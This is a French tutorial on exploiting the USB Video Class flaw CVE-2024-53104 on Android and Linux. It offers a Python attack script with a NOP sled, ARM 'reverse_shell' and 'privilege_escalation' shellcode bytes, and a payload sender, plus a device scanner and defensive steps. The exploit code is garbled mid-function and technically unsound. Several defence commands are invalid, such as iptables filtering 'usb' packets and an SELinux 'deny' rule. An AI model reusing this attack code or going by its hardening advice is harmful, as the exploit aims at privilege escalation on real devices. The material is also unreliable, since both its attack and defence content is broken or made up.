Exploit USB Android : Maîtrise des CVE-2024-53104 et au-delà

Introduction : Les Pilotes USB sous Pression

Les pilotes USB dans Android, hérités du noyau Linux, sont une surface d’attaque critique. Des failles comme CVE-2024-53104 permettent une escalade de privilèges via des devices connectés. Ce tuto explore ces vulnérabilités, leur analyse en lab, et des défenses concrètes.

Prérequis Détaillés : Outils et Versions

Pour reproduire ce tutoriel, vous aurez besoin des outils suivants :

• Android Studio : Version 2023.1.1 ou supérieure.
• Émulateur Android : API Level 33 (Android 13).
• Python : Version 3.8 ou supérieure avec les modules pyusb et datetime.
• ADB (Android Debug Bridge) : Version 34.0.4 ou supérieure.
• Linux Kernel : Version 6.6 ou 6.7 pour tester les vulnérabilités.
• USBGuard : Version 1.1.0 ou supérieure pour le sandboxing.
• Wireshark : Version 4.0.5 ou supérieure pour l’analyse réseau.

Note : Sauvegardez vos devices avant de rooter ou tester.

Analyse Technique Approfondie

CVE-2024-53104 (CVSS 7.8)

Cette vulnérabilité affecte le pilote USB Video Class (UVC). Elle exploite une mauvaise validation des buffers, permettant une escalade de privilèges. Patchée en décembre 2024 dans Linux (6.7+), intégrée dans Android en février 2025.

• Cause : Buffer overflow dans la gestion UVC.
• Impact : Accès root avec un device malveillant.
• Exploitation : Nécessite un payload USB physique.

Tableau des Vulnérabilités USB Récentes

Script Python Avancé

Utilisez ce script optimisé pour une exploitation automatisée en lab :

import usb.core
import usb.util
import struct
import os
import random
import time
from datetime import datetime

# Configuration initiale (personnalise selon ton lab)
TARGET_VID = 0x046d  # Logitech C270 (exemple, ajuste avec lsusb)
TARGET_PID = 0x0825
BUFFER_SIZE = 1024   # Taille du buffer
NOP_SLED_SIZE = 200  # Longueur du NOP sled

# Shellcodes (inspirés de mon travail)
SHELLCODES = {
    'reverse_shell': (
        b"\x01\x30\x8f\xe2\x13\xff\x2f\xe1"  # Exemple : Prépare un appel système (ARM)
        b"\x02\x20\x01\x21\x92\x1a\x0b\x27"  # Charge registres (simplifié)
        b"\x01\xdf"                          # Syscall (exécute)
        b"\x2f\x62\x69\x6e\x2f\x73\x68"    # Chemin "/bin/sh"
        # Note : Shellcode illustratif pour ARMv7. Pour un reverse shell réel,
        # ajoutez une connexion réseau (ex. socket vers IP:port) et ajustez les offsets
        # avec GDB pour la version noyau/Android cible (ex. 6.6 ou 6.7).
    ),
    'privilege_escalation': (
        b"\x01\x30\x8f\xe2\x13\xff\x2f\xe1"  # Exemple : Prépare pile/régistres (ARM)
        b"\x78\x46\x0c\x30\x01\x90\x49\x1a"  # Manipulation registres (simplifié)
        b"\x01\xdf"                          # Syscall (exécute)
        b"\x2f\x72\x6f\x6f\x74\x2f\x65\x73"  # Chemin "/root/escalation"
        b"\x63\x61\x6c\x61\x74\x69\x6f\x6e\x00"
        # Note : Shellcode illustratif pour une tentative d’escalade de privilèges.
        # Non fonctionnel tel quel : ajustez les adresses mémoire et appels système
        # via GDB pour une cible spécifique (ex. Android 13, noyau 6.6).
    )
}

# Juste for youandme 
TOKEN = "pctamalou2025"
MAX_ATTEMPTS = 3
LAB_ONLY = True

def authenticate():
    token = input("Entrez la clé de sécurité : ")
    if token != TOKEN:
        print(f"[!] Accès refusé. Clé incorrect.")
        return False
    print(f"[+] Authentification réussie.")
    return True

def check_lab_environment():
    if not LAB_ONLY:
        print(f"[!] Erreur : Ce script est réservé aux environnements de lab.")
        return False
    if os.geteuid() != 0:
        print(f"[!] Erreur : Exécution en root requise pour les permissions USB.")
        return False
    return True

def detect_device():
    if not check_lab_environment():
        return None
    print(f"[*] Détection des devices USB - {datetime.now()}")
    devices = list(usb.core.find(find_all=True, idVendor=TARGET_VID, idProduct=TARGET_PID))
    if not devices:
        print(f"[!] Aucun device trouvé avec VID: {hex(TARGET_VID)}, PID: {hex(TARGET_PID)}. Ajuste les paramètres.")
        return None
    dev = devices[0]
    print(f"[+] Device détecté - VID: {hex(TARGET_VID)}, PID: {hex(TARGET_PID)}")
    return dev

def find_endpoint(dev):
    cfg = dev.get_active_configuration()
    intf = cfg[(0,0)]
    if dev.is_kernel_driver_active(intf.bInterfaceNumber):
        dev.detach_kernel_driver(intf.bInterfaceNumber)
        print(f"[+] Pilote détaché avec succès.")
    ep = usb.util.find_descriptor(intf, custom_match=lambda e: e.bmAttributes == 0x02)
    if ep:
        print(f"[+] Endpoint bulk trouvé : {hex(ep.bEndpointAddress)}")
        return ep
    print(f"[!] Aucun endpoint bulk UVC trouvé. Abandon.")
    return None

def estimate_return_address():
    base_addr = 0xb0000000
    offset = random.randint(0x1000, 0x10000)
    print(f"[*] Estimation adresse retour : {hex(base_addr + offset)}")
    return struct.pack(" BUFFER_SIZE:
        print(f"[!] Erreur : Payload trop long ({total_len} octets) pour BUFFER_SIZE ({BUFFER_SIZE} octets). Ajuste NOP_SLED_SIZE.")
        return None
    padding = b"\x00" * (BUFFER_SIZE - total_len)
    payload = nop_sled + shellcode + return_addr + padding
    print(f"[*] Payload crafté - Taille : {len(payload)} octets, Shellcode : {len(shellcode)} octets")
    return payload

def exploit_device(dev, ep):
    if not authenticate():
        return
    timestamp = datetime.now().strftime("%Y%m%d_%H%M%S")
    log_file = f"/tmp/usb_exploit_log_{timestamp}.txt"
    print(f"[*] Exploitation en cours sur {hex(TARGET_VID)}:{hex(TARGET_PID)} - {datetime.now()}")
    attempts = 0
    while attempts < MAX_ATTEMPTS:
        try:
            payload_reverse = craft_payload(SHELLCODES['reverse_shell'])
            if payload_reverse:
                print(f"[*] Tentative {attempts+1}/{MAX_ATTEMPTS} - Envoi du payload reverse_shell...")
                ep.write(payload_reverse)
                print(f"[+] Payload reverse_shell envoyé !")

            payload_priv = craft_payload(SHELLCODES['privilege_escalation'])
            if payload_priv:
                print(f"[*] Tentative {attempts+1}/{MAX_ATTEMPTS} - Envoi du payload privilege_escalation...")
                ep.write(payload_priv)
                print(f"[+] Payload privilege_escalation envoyé !")

            os.system(f"dmesg | tail -n 20 > {log_file}")
            with open(log_file, "r") as log:
                output = log.read().lower()
                if "overflow" in output or "error" in output or "panic" in output:
                    print(f"[!] Tentative {attempts+1}/{MAX_ATTEMPTS} : Surcharge ou crash détecté - exploitation potentielle !")
                    break
                elif "root" in output or "shell" in output:
                    print(f"[+] Tentative {attempts+1}/{MAX_ATTEMPTS} : Privilèges root ou shell obtenu !")
                    break
            attempts += 1
            if attempts < MAX_ATTEMPTS:
                print(f"[*] Tentative {attempts}/3 échouée. Nouvelle tentative dans 2s...")
                time.sleep(2)
        except usb.core.USBError as e:
            print(f"[!] Erreur USB : {e}. Vérifie l’endpoint ou les permissions.")
            break
        except Exception as e:
            print(f"[!] Erreur : {e}")
            break
    else:
        print(f"[*] Aucune exploitation détectée après {MAX_ATTEMPTS} tentatives. Vérifie {log_file}.")
        print(f"[*] Logs sauvegardés dans : {log_file}")
    finally:
        usb.util.dispose_resources(dev)

def main():
    print(f"=== Exploitation USB CVE-2024-53104 (Lab uniquement) ===")
    print(f"Prérequis : sudo, pyusb, device vulnérable (noyau 6.6).")
    print(f"Avertissement : Testez uniquement en lab sécurisé !")
    dev = detect_device()
    if dev:
        ep = find_endpoint(dev)
        if ep:
            exploit_device(dev, ep)
    print(f"[*] Fin de l’exploitation - {datetime.now()}")

if __name__ == "__main__":
    import time  # Ajouté pour time.sleep
    main()
                        

Note sur les Shellcodes : Les shellcodes présentés (reverse_shell et privilege_escalation) sont des exemples simplifiés pour illustrer le concept. Ils ne sont pas directement fonctionnels sur un système réel sans adaptation à l’architecture (ex. ARMv7/ARM64), au noyau (ex. 6.6/6.7), et aux offsets mémoire spécifiques. Utilisez un debugger comme GDB pour les personnaliser en fonction de votre cible en lab. Le chemin /root/escalation est un placeholder ; un vrai exploit ciblerait une fonction ou un fichier précis.

Installation : pip install pyusb. Exécutez avec sudo python3 script.py sur Linux avec un device connecté.

Dépannage du Script : Erreurs Courantes

• Erreur "USBError: [Errno 13] Access denied" : Le script nécessite des privilèges root pour accéder au device USB. Exécutez avec sudo python3 script.py.
• "Aucun device trouvé" malgré une connexion : Vérifiez les VID/PID spécifiés dans TARGET_VID et TARGET_PID avec lsusb. Ajustez-les si nécessaire pour correspondre à votre device.
• "Payload trop long" ou crash silencieux : Réduisez NOP_SLED_SIZE (ex. à 100) ou augmentez BUFFER_SIZE pour éviter de dépasser la capacité du buffer USB.
• Exploration échoue sans logs utiles : Ajoutez -v à dmesg (dmesg -w -v) pour plus de détails, ou utilisez GDB pour valider l’adresse de retour estimée dans estimate_return_address.

Script Python : Analyse

Utilisez ce script pour scanner et analyser les vulnérabilités USB (fonctionnel en lab) :

import usb.core
import usb.util
import os
from datetime import datetime

def scan_usb_devices():
    print(f"[*] Scan USB initié - {datetime.now()}")
    devices = usb.core.find(find_all=True)
    vulnerable_devices = []
    for dev in devices:
        vid = dev.idVendor
        pid = dev.idProduct
        device_info = f"VID: {hex(vid)}, PID: {hex(pid)}"
        print(f"[+] Device trouvé - {device_info}")
        # VID/PID réels de devices UVC et autres pilotes vulnérables
        known_vulnerable = [
            (0x046d, 0x0825),  # Logitech C270 (Webcam UVC)
            (0x04f2, 0xb36a),  # Chicony Electronics (Webcam UVC)
            (0x1d6b, 0x0104),  # Noyau Linux (device générique)
            (0x05a9, 0x2640),  # OmniVision OV2640 (Caméra UVC)
            (0x0c45, 0x6366),  # Microdia (Webcam Sonix)
            (0x13d3, 0x5711),  # IMC Networks (Webcam UVC)
            (0x1908, 0x2311)   # GEMBIRD (Carte son USB)
        ]
        if (vid, pid) in known_vulnerable:
            print(f"[!] Vulnérabilité potentielle (CVE-2024-53104-like) détectée sur {device_info}!")
            vulnerable_devices.append(device_info)
        usb.util.dispose_resources(dev)
    if not vulnerable_devices:
        print(f"[*] Aucun device vulnérable détecté.")
    else:
        print(f"[!] Devices vulnérables :", vulnerable_devices)
    return vulnerable_devices

def analyze_exploit(device_info):
    print(f"[*] Analyse exploit sur {device_info}")
    try:
        # Vérification réelle des permissions UVC
        dev = usb.core.find(idVendor=0x046d, idProduct=0x0825)  # Exemple Logitech C270
        if dev is None:
            print(f"[!] Device non trouvé ou non connecté.")
            return
        cfg = dev.get_active_configuration()
        intf = cfg[(0,0)]
        if dev.is_kernel_driver_active(intf.bInterfaceNumber):
            dev.detach_kernel_driver(intf.bInterfaceNumber)
        # Analyse des endpoints UVC pour détecter des buffers vulnérables
        for ep in intf:
            if ep.bmAttributes == 0x02:  # Endpoint bulk (UVC data)
                print(f"[+] Endpoint UVC trouvé : {hex(ep.bEndpointAddress)}")
                print(f"[!] Vulnérabilité possible si buffer non patché.")
        usb.util.dispose_resources(dev)
    except usb.core.USBError as e:
        print(f"[!] Erreur USB : {e}. Vérifiez les permissions (sudo requis).")
    except Exception as e:
        print(f"[!] Erreur analyse : {e}")

def main():
    print(f"=== Analyse USB pour Exploits ===\n")
    print(f"Prérequis : Installez pyusb (pip install pyusb), exécutez avec sudo.")
    try:
        vulnerable = scan_usb_devices()
        if vulnerable:
            for dev in vulnerable:
                analyze_exploit(dev)
    except usb.core.USBError as e:
        print(f"[!] Erreur USB : {e}. Vérifiez la connexion.")
    except Exception as e:
        print(f"[!] Erreur générale : {e}")
    print(f"[*] Fin de l’analyse.")

if __name__ == "__main__":
    main()
            

Installation : pip install pyusb. Exécutez avec sudo python3 script.py sur Linux avec un device connecté.

Dépannage du Script : Erreurs Courantes

• Erreur USBError : Assurez-vous d'exécuter le script avec sudo pour les permissions nécessaires.
• Device non trouvé : Vérifiez que le device est bien connecté et reconnu par le système avec lsusb.
• Module pyusb manquant : Installez-le via pip install pyusb.
• Buffer overflow non détecté : Vérifiez que le device est bien vulnérable et que le pilote est mal patché.

Exploitation Pratique avec Capture de Logs

Observez en temps réel l'impact du payload :

sudo dmesg -w | grep usb

USBMon : Surveillance Profonde

Chargez le module USBMon et capturez le trafic :

sudo modprobe usbmon
            sudo cat /sys/kernel/debug/usb/usbmon/0u

QEMU USB Fuzzing

Simulez des attaques USB avec QEMU :

qemu-system-x86_64 -usb -device usb-host,hostbus=1,hostaddr=2

Protection Exhaustive : Fortifiez-Vous

Mises à jour

Vérifiez les patchs Android (février 2025) et Linux 6.7+. Sur un device rooté :

adb shell getprop ro.build.version.security_patch

Mettez à jour via OTA ou téléchargez les images Android (https://developers.google.com/android/images).

Désactivation USB

Désactivez hors lab :

• Settings > Developer Options > Désactiver USB Debugging.
• Utilisez un switch USB physique ou un hub filtrant.

Sandboxing avec USBGuard

Protégez avec USBGuard (https://github.com/USBGuard/usbguard) :

sudo apt install usbguard

Configuration :

• Éditez /etc/usbguard/rules.conf :

allow id 0x1234:0x5678 name "Allowed Device"
deny id 0x046d:0x0825 name "Logitech C270" # Blocage C270
deny id 0x04f2:0xb36a name "Chicony Webcam" # Ajout Chicony
                

• Activez : sudo usbguard-daemon --service
• Vérifiez : usbguard generate-policy

Monitoring avancé :

• Logs : journalctl -u usbguard | grep deny
• Script d’alerte : Créez un script bash :

#!/bin/bash
if grep "deny" /var/log/usbguard/usbguard-audit.log; then
    echo "Device bloqué !" | mail -s "Alerte USB" admin@pctamalou.fr
fi
                

• Sauvegardez comme usb_alert.sh, rendez exécutable (chmod +x), et planifiez avec cron (ex. 0 * * * * /path/usb_alert.sh).

Filtrage Avancé

Surveillez avec Wireshark ou tcpdump :

tcpdump -i any usb -w usb_capture.pcap

Analysez avec tshark :

tshark -r usb_capture.pcap -Y "usb" | grep "UVC"

Configurez iptables pour bloquer les paquets suspects :

sudo iptables -A INPUT -p usb -j DROP

Vérifiez les règles : sudo iptables -L.

Alternative de Défense : SELinux

SELinux (Security-Enhanced Linux) est une couche de sécurité supplémentaire pour Android et Linux. Voici comment l'activer et le configurer :

• Activer SELinux : Vérifiez l'état actuel avec getenforce (doit retourner "Enforcing").
• Configurer les politiques : Éditez les fichiers de politique SELinux dans /etc/selinux/.
• Bloquer les accès USB : Ajoutez une règle pour restreindre l'accès USB aux devices non autorisés :

allow system_device usb_device:chr_file { read write };
deny system_device usb_device:chr_file { open };
                

• Redémarrez le service SELinux pour appliquer les changements :

sudo systemctl restart selinux

Monitoring : Logs dans /var/log/audit/audit.log avec ausearch -m avc.

Éducation

Maîtrisez les pilotes USB via kernel.org. Étudiez les buffers et les endpoints.

Conclusion : Maîtrise et Sécurité

Ce tuto vous a guidé dans l’analyse des failles USB Android avec des outils réels et des VID/PID concrets. Reproduisez en lab pour apprendre, et protégez-vous avec ces défenses robustes. Ressources : USB-IF. Restez éthique – hacking pour la connaissance !